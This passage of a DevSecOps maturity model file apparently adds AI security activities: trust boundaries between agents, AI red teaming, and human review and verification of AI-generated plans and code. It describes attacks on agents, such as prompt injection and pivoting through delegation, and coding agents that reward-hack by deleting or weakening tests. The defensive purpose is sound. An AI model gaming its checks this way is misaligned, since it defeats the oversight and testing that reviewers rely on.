to EU AI Act, GDPR, ISO 42001/27001 and NIST AI RMF. + - uuid: e1611a8a-4e7d-439a-b9fc-992674c02d53 + name: EU AI Act + tags: + - ai + - documentation + - compliance + url: https://artificialintelligenceact.eu/ + description: |- + European regulation for AI systems with risk-based obligations. Relevant + input for an organizational AI usage policy (risk categorization, + transparency and documentation duties). + - uuid: 9d226705-6a42-4653-aa98-53d7e69e8a4c + name: OWASP Top 10 for Agentic Applications + tags: + - ai + - documentation + - threat + url: https://genai.owasp.org/resource/owasp-top-10-for-agentic-applications-for-2026/ + description: |- + The ten most critical security risks of agentic AI systems (ASI01-ASI10), + e.g. agent goal hijack, tool misuse, memory poisoning and rogue agents. + Usable as a threat catalog for threat modeling and red teaming of AI agents. + references: + samm2: + - O-EM-A-1 + iso27001-2017: + - 6.1.2 + iso27001-2022: + - 5.3 + openCRE: + - https://www.opencre.org/node/standard/DevSecOps%20Maturity%20Model%20%28DSOMM%29/section/Isolation/subsection/Human%20approval%20for%20irreversible%20AI%20agent%20actions + comments: "" + Trust boundaries between AI agents: + uuid: abe74dfd-d554-4ec5-8b94-f75d352afaaa + description: |- + In multi-agent systems, agents delegate tasks to other agents, and + the trust relationships between them are dynamic and often implicit. + Two failure modes dominate (OWASP Top 10 for Agentic Applications, + ASI03): + - Unscoped privilege inheritance: a delegating agent hands its + complete permissions down to a subagent whose task requires only + a fraction of them. + - Confused deputy: an attacker who controls a weakly privileged + agent routes plausible requests through a strongly privileged + one. The receiving agent executes them because they arrive from + a familiar peer, and nobody checks the original intent. + + Explicit trust boundaries treat every delegation like an external + request. The receiving agent verifies the identity and + authorization of the delegating agent instead of trusting the + chain. The messages between agents need the same protection as the + delegation itself: without mutual authentication, message signing + and replay protection, an attacker can spoof or replay agent + messages and register fake agents in the discovery mechanism + (ASI07, Insecure Inter-Agent Communication). Splitting a large + agent into several smaller ones compartmentalizes risk only if + each agent has its own identity and credentials. Shared + credentials undo the compartmentalization. _Least privilege on + external systems for AI agents_ scopes each agent's access to + external systems; this activity scopes the trust between the + agents themselves. + risk: |- + An attacker compromises one low-privilege agent (e.g. via prompt + injection) and pivots through delegation: higher-privileged agents + accept its requests unchecked, inherited access contexts carry full + permissions into subtasks, and the attacker reaches systems the + initially compromised agent could never access directly. + measure: |- + Give every agent its own identity and its own credentials, never + shared between agents. Scope each delegated task to the minimum + permissions it needs instead of passing on the delegating agent's + access context. Check at every step of a multi-agent workflow that + the delegating agent is who it claims to be and is authorized to + request the action. Secure the communication channel itself with + mutual authentication and signed messages (e.g. mutual TLS), + replay protection (e.g. nonces and expiry times) and rejection of + protocol downgrades. Accept agents into a workflow only from a + registry or discovery mechanism that verifies agent identity and + descriptors. Record the communication between agents so that + delegations deviating from the usual patterns surface for review + (see _Audit logging of AI agent actions_ and _Anomaly detection + for AI agent behavior_). + dependsOn: + - 45f722b2-25b4-472a-a743-f7207a77b5c9 # Least privilege on external systems for AI agents + - 84ba7525-857e-4849-98ba-5fada1a1454d # Audit logging of AI agent actions + assessment: | + - Show that each agent in a multi-agent workflow has its own identity and credentials (no shared credentials). + - Show how a delegated task receives a reduced permission scope instead of the delegating agent's full access context. + - Demonstrate that a delegation from an unauthorized or unknown agent is rejected. + - Show how inter-agent messages are authenticated and protected against replay, and that a message from an unregistered agent or a protocol downgrade is rejected. + - Show how inter-agent communication is logged and how unusual delegation patterns are flagged. + difficultyOfImplementation: + knowledge: 4 + time: 3 + resources: 2 + usefulness: 4 + level: 4 + tags: + - ai + - isolation + implementation: + - uuid: 181e9b98-7d4f-4fff-9181-9f4c4408022e + name: Anthropic Agent Identity and Access Model + tags: + - ai + - isolation + - permissions + - documentation + url: https://claude.com/blog/agent-identity-access-model + description: |- + Reference architecture for agent identity: agents act under dedicated + workspace-level service accounts instead of user credentials, with scoped + per-channel permissions, credentials injected at the network boundary, + egress blocked to unapproved hosts and every agent action logged under + the agent identity in both platforms' audit logs. + - uuid: 9d226705-6a42-4653-aa98-53d7e69e8a4c + name: OWASP Top 10 for Agentic Applications + tags: + - ai + - documentation + - threat + url: https://genai.owasp.org/resource/owasp-top-10-for-agentic-applications-for-2026/ + description: |- + The ten most critical security risks of agentic AI systems (ASI01-ASI10), + e.g. agent goal hijack, tool misuse, memory poisoning and rogue agents. + Usable as a threat catalog for threat modeling and red teaming of AI agents. + - uuid: b38adac8-123b-4183-b2b4-428f43b5d519 + name: 'OWASP AISVS C05: Access Control and Identity' + tags: + - ai + - documentation + - aisvs + url: https://github.com/OWASP/AISVS/blob/main/1.0/en/0x10-C05-Access-Control-and-Identity.md + description: |- + OWASP Artificial Intelligence Security Verification Standard, + category C05: Access Control and Identity. + - uuid: bbaf5f6a-0366-488b-a712-7f915e866135 + name: Agent Identity Governance Framework (AIGF) + tags: + - ai + - isolation + - permissions + - logging + - documentation + url: https://labs.cloudsecurityalliance.org/agentic/agentic-identity-governance-framework-v1/ + description: |- + Vendor-neutral framework (Richard Peddi, v2.1, CC BY 4.0) for identity, + access and content governance of autonomous AI agents along six axes: + identification (shadow agents), authentication, authorization, + audit/non-repudiation (structured audit log with mandatory fields for + the causal chain, correlation identifiers across multi-agent chains, + tamper evidence via hash chaining and write-once storage), + prompt injection prevention and data flow tracking. The framework is + mapped to EU AI Act, GDPR, ISO 42001/27001 and NIST AI RMF. + - uuid: 7c0749f8-080d-46cf-a8bb-4c2f8a2c25f2 + name: Zero Trust for AI Agents + tags: + - ai + - documentation + url: https://claude.com/blog/zero-trust-for-ai-agents + description: |- + Free eBook by Anthropic applying Zero Trust principles (never trust, + always verify; assume breach; least privilege and least agency) to + agentic AI deployments: current threats to agentic systems, three + capability tiers for agent identity, access control, observability, + behavioral monitoring, input and output controls and recovery, an + eight-phase implementation workflow and defensive operations at the + speed of autonomous threats. Introduces the design test "does this + control make the attack impossible, or just tedious?". + references: + samm2: + - O-EM-A-1 + iso27001-2017: + - 9.2.3 + iso27001-2022: + - 8.2 + openCRE: + - https://www.opencre.org/node/standard/DevSecOps%20Maturity%20Model%20%28DSOMM%29/section/Isolation/subsection/Trust%20boundaries%20between%20AI%20agents + comments: "" + Red Teaming: + Basic AI red teaming: + uuid: b4233919-6de0-4ed3-b7da-3bdd91c8db5e + description: |- + AI-based features (e.g. chat bots, agents, retrieval-augmented + generation (RAG) systems) have attack surfaces + that classic penetration tests do not cover, such as prompt injection, + jailbreaks, insecure output handling and excessive agency. Manual AI red + teaming probes these weaknesses before release. + risk: |- + AI features go live without being tested against AI-specific attacks. An + attacker uses prompt injection or jailbreaks to bypass restrictions, trigger + unauthorized actions or extract confidential data from the model context. + measure: |- + Perform manual AI red teaming for AI-based features before their initial + release, covering at least the OWASP Top 10 for LLM Applications + (e.g. prompt injection, insecure output handling, sensitive information + disclosure, excessive agency). + assessment: | + - Show the scope and findings of the last manual AI red teaming session for an AI-based feature. + - Show that findings were triaged and fixed (e.g. tickets and their resolution). + difficultyOfImplementation: + knowledge: 4 + time: 3 + resources: 1 + usefulness: 4 + level: 3 + tags: + - ai + - red-teaming + implementation: + - uuid: 814d5536-0dea-4a53-ae6b-cc7e4068a013 + name: 'OWASP AISVS C11: Adversarial Robustness' + tags: + - ai + - documentation + - aisvs + url: https://github.com/OWASP/AISVS/blob/main/1.0/en/0x10-C11-Adversarial-Robustness.md + description: |- + OWASP Artificial Intelligence Security Verification Standard, + category C11: Adversarial Robustness. + - uuid: fd952d90-dec8-4bbd-848d-9203b33c35d8 + name: 'OWASP AISVS C07: Model Behavior, Output Control and Safety Assurance' + tags: + - ai + - documentation + - aisvs + url: https://github.com/OWASP/AISVS/blob/main/1.0/en/0x10-C07-Model-Behavior.md + description: |- + OWASP Artificial Intelligence Security Verification Standard, + category C07: Model Behavior, Output Control and Safety Assurance. + - uuid: 13aceaa9-f772-48e6-9134-d9c45650160d + name: OWASP Top 10 for Large Language Model Applications + tags: + - ai + - documentation + - threat + url: https://owasp.org/www-project-top-10-for-large-language-model-applications/ + description: |- + A list of the most critical vulnerabilities of LLM-based applications, e.g. + prompt injection, insecure output handling and excessive agency. A good + baseline for manual AI red teaming. + - uuid: 9d226705-6a42-4653-aa98-53d7e69e8a4c + name: OWASP Top 10 for Agentic Applications + tags: + - ai + - documentation + - threat + url: https://genai.owasp.org/resource/owasp-top-10-for-agentic-applications-for-2026/ + description: |- + The ten most critical security risks of agentic AI systems (ASI01-ASI10), + e.g. agent goal hijack, tool misuse, memory poisoning and rogue agents. + Usable as a threat catalog for threat modeling and red teaming of AI agents. + - uuid: 7bae85fe-adab-4279-ad8d-df842ab922cf + name: OWASP AI Maturity Assessment (AIMA) + tags: + - ai + - documentation + url: https://owasp.org/www-project-ai-maturity-assessment/ + description: |- + Maturity model for AI systems (v1.0, August 2025) in the style of the + OWASP Software Assurance Maturity Model (SAMM), with eight domains: + responsible AI, governance, data management, privacy, design, + implementation, verification and operations. Each practice defines + three maturity levels with assessment worksheets, usable to assess + and plan the organizational maturity around the AI activities of this + dimension. + - uuid: 672695ce-e62d-4283-8676-ea630f544709 + name: OWASP AI Exchange + tags: + - ai + - documentation + - threat + url: https://owaspai.org/ + description: |- + Comprehensive open-source guidance on AI security: a threat matrix + across the lifecycle (development-time, runtime model use, runtime + infrastructure, supply chain) with matching controls for governance, + input and output handling, monitoring, rate limiting and model + robustness, plus chapters on AI security testing and AI privacy. + Feeds international standardization (ISO/IEC 27090). + references: + samm2: + - V-ST-A-1 + iso27001-2017: + - 14.2.8 + iso27001-2022: + - 8.29 + openCRE: + - https://www.opencre.org/node/standard/DevSecOps%20Maturity%20Model%20%28DSOMM%29/section/Red%20Teaming/subsection/Basic%20AI%20red%20teaming + comments: "" + Regular automated AI red teaming: + uuid: 7fb64f55-2b2c-4165-bb5a-ce5204dc2f73 + description: |- + Automated AI red teaming tools run large libraries of adversarial prompts + (prompt injection, jailbreaks, data extraction, toxic output) against AI-based + features. Integrating them into the delivery pipeline detects regressions + whenever prompts, models or guardrails change. + risk: |- + One-off manual red teaming does not catch regressions. Model updates, prompt + changes or new tool integrations silently reintroduce vulnerabilities in + AI-based features. Upstream providers additionally update models without + notice ("silent model drift"): identical prompts produce different + behavior although nothing in the organization changed, and the change + goes unnoticed until complaints accumulate. + measure: |- + Integrate automated AI red teaming / adversarial testing tools into the + delivery pipeline of AI-based features and run them regularly and on every + significant change to prompts, models or guardrails. Complement the + adversarial tests with behavioral regression tests ("golden answers"): + defined test queries whose responses are compared semantically against + approved reference answers, so silent upstream model updates are + detected. Maintain the reference answers like any other reviewed + content: stale expected answers make the tests pass while the + responses are wrong. + dependsOn: + - b4233919-6de0-4ed3-b7da-3bdd91c8db5e # Basic AI red teaming + assessment: | + - Show the automated AI red teaming tool and its integration into the delivery pipeline. + - Show recent runs, what triggered them (e.g. prompt or model changes) and how regressions are reported. + - Show the golden-answer test set, the semantic comparison against reference answers and when the reference answers were last reviewed. + difficultyOfImplementation: + knowledge: 4 + time: 3 + resources: 3 + usefulness: 4 + level: 4 + tags: + - ai + - red-teaming + implementation: + - uuid: 814d5536-0dea-4a53-ae6b-cc7e4068a013 + name: 'OWASP AISVS C11: Adversarial Robustness' + tags: + - ai + - documentation + - aisvs + url: https://github.com/OWASP/AISVS/blob/main/1.0/en/0x10-C11-Adversarial-Robustness.md + description: |- + OWASP Artificial Intelligence Security Verification Standard, + category C11: Adversarial Robustness. + - uuid: fd952d90-dec8-4bbd-848d-9203b33c35d8 + name: 'OWASP AISVS C07: Model Behavior, Output Control and Safety Assurance' + tags: + - ai + - documentation + - aisvs + url: https://github.com/OWASP/AISVS/blob/main/1.0/en/0x10-C07-Model-Behavior.md + description: |- + OWASP Artificial Intelligence Security Verification Standard, + category C07: Model Behavior, Output Control and Safety Assurance. + - uuid: 51946a4b-c5bd-4126-9f47-81a8b8203b9b + name: garak + tags: + - ai + - red-teaming + - testing + url: https://github.com/NVIDIA/garak + description: |- + LLM vulnerability scanner which probes models and LLM-based applications for + prompt injection, jailbreaks, data leakage, toxic output and other weaknesses. + - uuid: 1fe01551-0268-47fa-b108-d4228fc8655a + name: PyRIT + tags: + - ai + - red-teaming + - testing + url: https://github.com/Azure/PyRIT + description: |- + Python Risk Identification Tool for generative AI: a framework to automate + adversarial testing (red teaming) of LLM-based applications. + - uuid: c323c3c8-cc9c-4620-9ea7-dbc69c3112ca + name: promptfoo + tags: + - ai + - red-teaming + - testing + url: https://github.com/promptfoo/promptfoo + description: |- + Test framework for LLM applications with automated red teaming + (prompt injection, jailbreaks, PII leakage) and CI integration for + regression testing of prompts, models and guardrails. + - uuid: bbaf5f6a-0366-488b-a712-7f915e866135 + name: Agent Identity Governance Framework (AIGF) + tags: + - ai + - isolation + - permissions + - logging + - documentation + url: https://labs.cloudsecurityalliance.org/agentic/agentic-identity-governance-framework-v1/ + description: |- + Vendor-neutral framework (Richard Peddi, v2.1, CC BY 4.0) for identity, + access and content governance of autonomous AI agents along six axes: + identification (shadow agents), authentication, authorization, + audit/non-repudiation (structured audit log with mandatory fields for + the causal chain, correlation identifiers across multi-agent chains, + tamper evidence via hash chaining and write-once storage), + prompt injection prevention and data flow tracking. The framework is + mapped to EU AI Act, GDPR, ISO 42001/27001 and NIST AI RMF. + - uuid: 7bae85fe-adab-4279-ad8d-df842ab922cf + name: OWASP AI Maturity Assessment (AIMA) + tags: + - ai + - documentation + url: https://owasp.org/www-project-ai-maturity-assessment/ + description: |- + Maturity model for AI systems (v1.0, August 2025) in the style of the + OWASP Software Assurance Maturity Model (SAMM), with eight domains: + responsible AI, governance, data management, privacy, design, + implementation, verification and operations. Each practice defines + three maturity levels with assessment worksheets, usable to assess + and plan the organizational maturity around the AI activities of this + dimension. + references: + samm2: + - V-ST-A-2 + iso27001-2017: + - 14.2.8 + iso27001-2022: + - 8.29 + openCRE: + - https://www.opencre.org/node/standard/DevSecOps%20Maturity%20Model%20%28DSOMM%29/section/Red%20Teaming/subsection/Regular%20automated%20AI%20red%20teaming + comments: "" + Verification: + Human review of AI generated plans: + uuid: 1bd1308d-ae3b-499a-ae81-818993571f52 + description: |- + Between specification and code sits the plan: which components are + touched, which dependencies are added, how the security requirements + will be implemented. Reviewing the AI-generated plan catches + design-level flaws (a dropped security requirement, an insecure + design choice, an unnecessary new dependency, changes to + security-critical components) while they are still one line in a + plan instead of hundreds of generated lines of code. In spec-driven + development this is the gate of the plan phase; agents also propose + plans outside formal workflows (e.g. a plan mode) that can be + reviewed the same way. + risk: |- + The AI-generated plan silently drops security requirements from the + specification, chooses an insecure design or pulls in avoidable + dependencies. The agent then generates large amounts of code against + the flawed plan. Code reviewers, biased by plausible-looking + code, then verify the implementation against the plan instead of + questioning the plan itself. + measure: |- + Require human review of the plan before AI-assisted implementation: + verify that every security requirement from the specification is + carried through, that security-relevant design decisions are + justified and that changes to security-critical components are + flagged for deeper review. In spec-driven workflows, make this + review the gate of the plan phase and keep the reviewed plan under + version control. + dependsOn: + - 09307f26-bf34-49c2-828e-649130876978 # Human review of AI generated specifications + - 923a2a23-d63b-421c-926a-191d1dd5f570 # Spec-driven development + assessment: | + - Show a recent AI-generated plan and its documented human review before implementation. + - Show that the review traced the security requirements from the specification into the plan. + - Show how plans touching security-critical components are flagged for deeper review. + difficultyOfImplementation: + knowledge: 3 + time: 2 + resources: 1 + usefulness: 4 + level: 2 + tags: + - ai + - verification + - human-review + implementation: + - uuid: 8077812b-e320-4435-9afb-e1e334314abf + name: The New SDLC With Vibe Coding (Google whitepaper) + tags: + - ai + - guidance + - documentation + url: https://addyosmani.com/blog/new-sdlc-vibe-coding/ + description: |- + Google whitepaper (Osmani, Saboo, Kartakis) distinguishing vibe coding + from agentic engineering: specs, guardrails, evals and review as the + "harness" around the model, phase-specific context engineering, evals in + CI, traces of every agent run and scoped per-agent permissions as the + production substrate. + - uuid: 71db66a9-8b71-48e4-9b96-1695ed1062a2 + name: GitHub Spec Kit + tags: + - ai + - guidance + - framework + url: https://github.com/github/spec-kit + description: |- + Toolkit for spec-driven development with AI coding assistants: work is + split into explicit specify, plan, tasks and implement steps, each with + its own instructions loaded into the model context. + - uuid: d1d4271b-0f4c-4356-845c-8f91b6c83c33 + name: 'OWASP AISVS Appendix C: Appendix C AI for Code Generation' + tags: + - ai + - documentation + - aisvs + url: https://github.com/OWASP/AISVS/blob/main/1.0/en/0x92-Appendix-C_AI_for_Code_Generation.md + description: |- + OWASP Artificial Intelligence Security Verification Standard, + Appendix C: Appendix C AI for Code Generation. + - uuid: fd0f282b-a065-4464-beed-770c604a5f52 + name: Threat Modeling Playbook + tags: + - owasp + - defender + - threat-modeling + - whiteboard + url: https://github.com/Toreon/threat-model-playbook + references: + samm2: + - D-SR-A-1 + iso27001-2017: + - 14.2.1 + iso27001-2022: + - 8.25 + openCRE: + - https://www.opencre.org/node/standard/DevSecOps%20Maturity%20Model%20%28DSOMM%29/section/Verification/subsection/Human%20review%20of%20AI%20generated%20plans + comments: "" + Human review of AI generated specifications: + uuid: 09307f26-bf34-49c2-828e-649130876978 + description: |- + In AI-assisted development, human attention scales best at the + specification level: one page of specification determines what all + downstream artifacts (plans, code, tests) will contain, and an + error here is multiplied into every one of them. Reviewing the + specification the AI works from (a user story with acceptance + criteria, or the specify-phase artifact in spec-driven development) + catches wrong intent, missing security requirements and wrong + assumptions before anything is generated. It is the first rung of + the human-oversight ladder that continues with _Human review of AI + generated plans_, _Human review of AI generated code_ and _Human + approval for irreversible AI agent actions_ (Isolation). + risk: |- + An AI assistant implements exactly what an unreviewed specification + says: missing authorization requirements, absent abuse cases and + wrong assumptions are faithfully turned into plans, code and tests. + Later code review rarely catches this, because reviewers check whether + the code matches the specification, not whether the specification is + right. + measure: |- + Require human review of the specification before AI-assisted + implementation starts: are the security acceptance criteria complete, + are scope and assumptions correct, is anything security-relevant + missing? In spec-driven workflows, make this review the gate of the + specify phase and keep the reviewed specification under version + control. + dependsOn: + - 923a2a23-d63b-421c-926a-191d1dd5f570 # Spec-driven development + assessment: | + - Show a recent specification an AI assistant worked from and its documented human review before implementation started. + - Show that the review checked the security acceptance criteria (e.g. review comments or a checklist). + - In spec-driven workflows: show that the specify phase cannot be left without the review gate. + difficultyOfImplementation: + knowledge: 2 + time: 2 + resources: 1 + usefulness: 5 + level: 2 + tags: + - ai + - verification + - human-review + implementation: + - uuid: 8077812b-e320-4435-9afb-e1e334314abf + name: The New SDLC With Vibe Coding (Google whitepaper) + tags: + - ai + - guidance + - documentation + url: https://addyosmani.com/blog/new-sdlc-vibe-coding/ + description: |- + Google whitepaper (Osmani, Saboo, Kartakis) distinguishing vibe coding + from agentic engineering: specs, guardrails, evals and review as the + "harness" around the model, phase-specific context engineering, evals in + CI, traces of every agent run and scoped per-agent permissions as the + production substrate. + - uuid: 71db66a9-8b71-48e4-9b96-1695ed1062a2 + name: GitHub Spec Kit + tags: + - ai + - guidance + - framework + url: https://github.com/github/spec-kit + description: |- + Toolkit for spec-driven development with AI coding assistants: work is + split into explicit specify, plan, tasks and implement steps, each with + its own instructions loaded into the model context. + - uuid: d1d4271b-0f4c-4356-845c-8f91b6c83c33 + name: 'OWASP AISVS Appendix C: Appendix C AI for Code Generation' + tags: + - ai + - documentation + - aisvs + url: https://github.com/OWASP/AISVS/blob/main/1.0/en/0x92-Appendix-C_AI_for_Code_Generation.md + description: |- + OWASP Artificial Intelligence Security Verification Standard, + Appendix C: Appendix C AI for Code Generation. + references: + samm2: + - D-SR-A-1 + iso27001-2017: + - 14.1.1 + iso27001-2022: + - 8.26 + openCRE: + - https://www.opencre.org/node/standard/DevSecOps%20Maturity%20Model%20%28DSOMM%29/section/Verification/subsection/Human%20review%20of%20AI%20generated%20specifications + comments: "" + Self-verification of AI generated changes: + uuid: 63e82b31-4167-480d-a22b-baf8ef79af61 + description: |- + An AI-generated change is only a claim until something independent + confirms it. Instead of presenting an untested edit, the agent + executes the checks the project already defines for humans (test + suite, type checker, linter, build) in its sandboxed environment + and keeps refining the change until the checks succeed or a defined + budget ends the attempt. What reaches the human reviewer is then a + verified state backed by check output, not an assertion. This + introduces its own failure mode, reward hacking: an agent optimizing + for passing checks may get there by weakening assertions, deleting + failing tests or hardcoding expected values instead of fixing the + code. + risk: |- + Unverified AI changes are delivered as plausible-looking code that does + not build or breaks behavior. Conversely, an agent iterating to green + without guardrails games the tests (weakened or deleted tests, hardcoded + results), so a passing suite no longer means correct code. + measure: |- + Require AI agents to verify their changes against the project's own + checks before presenting them, and guard the loop against test + manipulation: record which checks failed before the agent started so + it can only claim genuinely new fixes, route every edit that touches + test code into human review, and re-run the full suite in the + pipeline independent of the agent's environment. + dependsOn: + - f6f7737f-25a9-4317-8de2-09bf59f29b5b # Defined build process + - eb2c7f9d-d0bd-4253-a2ba-cff2ace4a075 # Security unit tests for important components + assessment: | + - Show the agent workflow or configuration that runs the project's own checks (tests, type checker, linter, build) before changes are presented. + - Show the guardrails against test manipulation: baseline comparison of test results, review flags on modified test code and an independent re-run of the suite in the pipeline. + difficultyOfImplementation: + knowledge: 3 + time: 2 + resources: 2 + usefulness: 5 + level: 2 + tags: + - ai + - verification + - testing + implementation: + - uuid: 8077812b-e320-4435-9afb-e1e334314abf + name: The New SDLC With Vibe Coding (Google whitepaper) + tags: + - ai + - guidance + - documentation + url: https://addyosmani.com/blog/new-sdlc-vibe-coding/ + description: |- + Google whitepaper (Osmani, Saboo, Kartakis) distinguishing vibe coding + from agentic engineering: specs, guardrails, evals and review as the + "harness" around the model, phase-specific context engineering, evals in + CI, traces of every agent run and scoped per-agent permissions as the + production substrate. + - uuid: 0acdc0ea-dbe2-4bcf-9a6c-34fb1c2989a5 + name: 'AI Coding Agent CLI design: Verify & Iterate' + tags: + - ai + - verification + - testing + - documentation + url: https://system-design-interviews.com/book/interview.html#ai-coding-cli/verify + description: |- + System-design walkthrough of the agent verification loop: a dedicated + check runner executes the project's tests, typechecker, linter and build + in the sandbox, diffs against a baseline and iterates until green, with + git checkpoints and the reviewed diff as the human gate. + - uuid: d1d4271b-0f4c-4356-845c-8f91b6c83c33 + name: 'OWASP AISVS Appendix C: Appendix C AI for Code Generation' + tags: + - ai + - documentation + - aisvs + url: https://github.com/OWASP/AISVS/blob/main/1.0/en/0x92-Appendix-C_AI_for_Code_Generation.md + description: |- + OWASP Artificial Intelligence Security Verification Standard, + Appendix C: Appendix C AI for Code Generation. + references: + samm2: + - V-ST-A-1 + iso27001-2017: + - 14.2.8 + iso27001-2022: + - 8.29 + openCRE: + - https://www.opencre.org/node/standard/DevSecOps%20Maturity%20Model%20%28DSOMM%29/section/Verification/subsection/Self-verification%20of%20AI%20generated%20changes + comments: "" + Static and dynamic analysis of AI generated code: + uuid: 10362082-f48f-4218-be08-4ab78e589df0 + description: |- + Static and dynamic security testing (SAST, DAST, software composition + analysis) is defined in the _Test and Verification_ dimension and is + author-agnostic. This activity references those activities for + AI-generated code instead of duplicating them. The AI-specific delta + is coverage and pace: AI agents produce code in places classic scan + scopes miss (generated infrastructure code, scripts, one-off tools) + and at a rate that makes scanning inside the development loop (e.g. + the agent running the static analysis itself during + self-verification) more important than for human-written code. + Complementary: _No verification bypass for AI generated code_ ensures + no delivery path skips these scans. + risk: |- + AI-generated code reproduces insecure patterns from training data at + scale. If static and dynamic analysis does not cover all AI-produced + artifacts, typical vulnerabilities (injection, insecure defaults, + hardcoded secrets) ship unnoticed, faster and in higher volume than + with human-written code. + measure: |- + Apply the established static and dynamic security analysis to all + AI-generated code and artifacts. Include AI-produced infrastructure + code and scripts in the scan scope and surface findings inside the + AI-assisted development loop, so agents can fix them before human + review. + dependsOn: + - 6c05c837-8c99-46e2-828b-7c903e27dba4 # Static analysis for important server side components + - 07796811-37f9-467c-9ff2-48f346e77ff3 # Simple Scan + assessment: | + - Show that the scan scope includes AI-produced artifacts such as generated infrastructure code and scripts. + - Show a recent AI-generated change where static analysis findings were surfaced and fixed inside the AI-assisted development loop. + difficultyOfImplementation: + knowledge: 2 + time: 2 + resources: 2 + usefulness: 4 + level: 2 + tags: + - ai + - verification + - testing + implementation: + - uuid: d1d4271b-0f4c-4356-845c-8f91b6c83c33 + name: 'OWASP AISVS Appendix C: Appendix C AI for Code Generation' + tags: + - ai + - documentation + - aisvs + url: https://github.com/OWASP/AISVS/blob/main/1.0/en/0x92-Appendix-C_AI_for_Code_Generation.md + description: |- + OWASP Artificial Intelligence Security Verification Standard, + Appendix C: Appendix C AI for Code Generation. + - uuid: 0acdc0ea-dbe2-4bcf-9a6c-34fb1c2989a5 + name: 'AI Coding Agent CLI design: Verify & Iterate' + tags: + - ai + - verification + - testing + - documentation + url: https://system-design-interviews.com/book/interview.html#ai-coding-cli/verify + description: |- + System-design walkthrough of the agent verification loop: a dedicated + check runner executes the project's tests, typechecker, linter and build + in the sandbox, diffs against a baseline and iterates until green, with + git checkpoints and the reviewed diff as the human gate. + - uuid: f18f3411-cd68-4f19-b2a4-d07a8353b597 + name: Capital One VulnHunter + tags: + - ai + - testing + - tool + url: https://github.com/capitalone/vulnhunter + description: |- + Open-source agentic AI security tool by Capital One that traces + realistic attack paths from entry points through the codebase + (attacker-first forward analysis) instead of pattern matching, + then generates fixes and independently verifies its own findings + to reduce false positives. Runs on Claude Code, multi-language. + references: + samm2: + - V-ST-A-1 + iso27001-2017: + - 14.2.8 + iso27001-2022: + - 8.29 + openCRE: + - https://www.opencre.org/node/standard/DevSecOps%20Maturity%20Model%20%28DSOMM%29/section/Verification/subsection/Static%20and%20dynamic%20analysis%20of%20AI%20generated%20code + comments: "" + Validation of AI-suggested dependencies: + uuid: df2db3f4-bae6-448e-844e-9562a4eabc39 + description: |- + AI assistants hallucinate package names: research found around 20% of + dependencies suggested by LLMs do not exist. Attackers register these + names ("slopsquatting") or typo-variants on public registries, so blindly + installing AI-suggested packages imports attacker-controlled code. + + Automate the checks so they do not depend on developer discipline: + + - **Enforce a minimum OpenSSF Scorecard score** for new + dependencies, e.g. as a policy check in a pull-through proxy like an artifact registry or in the pull request + pipeline. Scorecard rates projects on maintenance, code review, + branch protection, dangerous workflows and vulnerability + handling; a threshold (e.g. score >= 5) filters low-hygiene and + abandoned packages before a human even reviews them. + - **Verify identity and existence**: does the package match the + intended project (publisher, source repository, age, download + counts)? Hallucinated and slopsquatted names fail exactly these + checks; tools like packj flag them automatically. + - **Gate before merge**: run the established software composition + analysis and the artifact repository policy on the change that + adds the dependency, so a malicious or compromised version never + enters the build. + risk: |- + A developer installs an AI-suggested package that is hallucinated, + typo-squatted or malicious. The package executes attacker code during + install or at runtime and compromises the application and build + environment. + measure: |- + Verify every AI-suggested dependency before adoption: check that the + package exists, is the intended one (name, publisher, repository), is + actively maintained and passes the established software composition + analysis. Prefer dependencies already used in the organization. + dependsOn: + - d918cd44-a972-43e9-a974-eff3f4a5dcfe # Software Composition Analysis (server side) + assessment: | + - Show the documented verification steps for adopting a new dependency and a recent example of an AI-suggested package that was checked (or rejected). + - Show that software composition analysis covers AI-suggested packages before merge. + difficultyOfImplementation: + knowledge: 2 + time: 2 + resources: 1 + usefulness: 4 + level: 2 + tags: + - ai + - verification + - sca + implementation: + - uuid: dc09e3c6-30af-4acc-8b8d-297078ce4298 + name: 'OWASP AISVS C06: Supply Chain Security' + tags: + - ai + - documentation + - aisvs + url: https://github.com/OWASP/AISVS/blob/main/1.0/en/0x10-C06-Supply-Chain.md + description: |- + OWASP Artificial Intelligence Security Verification Standard, + category C06: Supply Chain Security. + - uuid: d1d4271b-0f4c-4356-845c-8f91b6c83c33 + name: 'OWASP AISVS Appendix C: Appendix C AI for Code Generation' + tags: + - ai + - documentation + - aisvs + url: https://github.com/OWASP/AISVS/blob/main/1.0/en/0x92-Appendix-C_AI_for_Code_Generation.md + description: |- + OWASP Artificial Intelligence Security Verification Standard, + Appendix C: Appendix C AI for Code Generation. + - uuid: 5d8b27ac-286e-47a5-b23f-769eb6d74e4a + name: packj + tags: + - OpenSource + - Supply Chain + - vulnerability + url: https://github.com/ossillate-inc/packj + description: | + Packj is a tool to detect software supply chain attacks. It can detect malicious, vulnerable, abandoned, typo-squatting, and other "risky" packages from popular open-source package registries, such as NPM, RubyGems, and PyPI. + - uuid: 4a5296a6-4d8f-4b97-902b-f04722438a66 + name: OpenSSF Scorecard + tags: + - supply-chain + - sca + - tool + url: https://github.com/ossf/scorecard + description: |- + Automated rating of open source projects on supply chain security + practices (maintenance, code review, branch protection, dangerous + workflows, vulnerability handling). Usable as a policy gate: require a + minimum score before a new dependency may be adopted. + references: + samm2: + - V-ST-A-2 + iso27001-2017: + - 14.2.5 + iso27001-2022: + - 8.27 + openCRE: + - https://www.opencre.org/node/standard/DevSecOps%20Maturity%20Model%20%28DSOMM%29/section/Verification/subsection/Validation%20of%20AI-suggested%20dependencies + comments: "" + Human review of AI generated code: + uuid: d6bc0b7f-fd98-49fe-b66c-7c5fa70452c6 + description: |- + AI-generated code is plausible-looking by construction and often accepted + without scrutiny ("automation bias"). It must be treated like code from an + untrusted contributor: a human with knowledge of the codebase reviews it + before it is merged. The upstream reviews of specification and plan + (_Human review of AI generated specifications_, _Human review of AI + generated plans_) reduce what code review must catch, and the + automated gates (_Self-verification of AI generated changes_, _Static + and dynamic analysis of AI generated code_) filter mechanical + findings. Neither replaces this activity: agents deviate from + approved plans, so the code remains the last artifact gate before + merge. + risk: |- + AI-generated code containing subtle logic flaws, insecure defaults or + hallucinated/typo-squatted dependencies is merged unreviewed because it + "looks right" and compiles. + measure: |- + Require human review for all AI-generated changes before merge. Reviewers are + accountable for the change as if they had written it. AI agents must not be + able to approve or merge their own pull requests. + dependsOn: + - 45f722b2-25b4-472a-a743-f7207a77b5c9 # Least privilege on external systems for AI agents + assessment: | + - Show branch protection requiring human review before merge and that agent identities cannot approve or merge their own pull requests. + - Show recent reviews of AI-generated changes and who is accountable for them. + 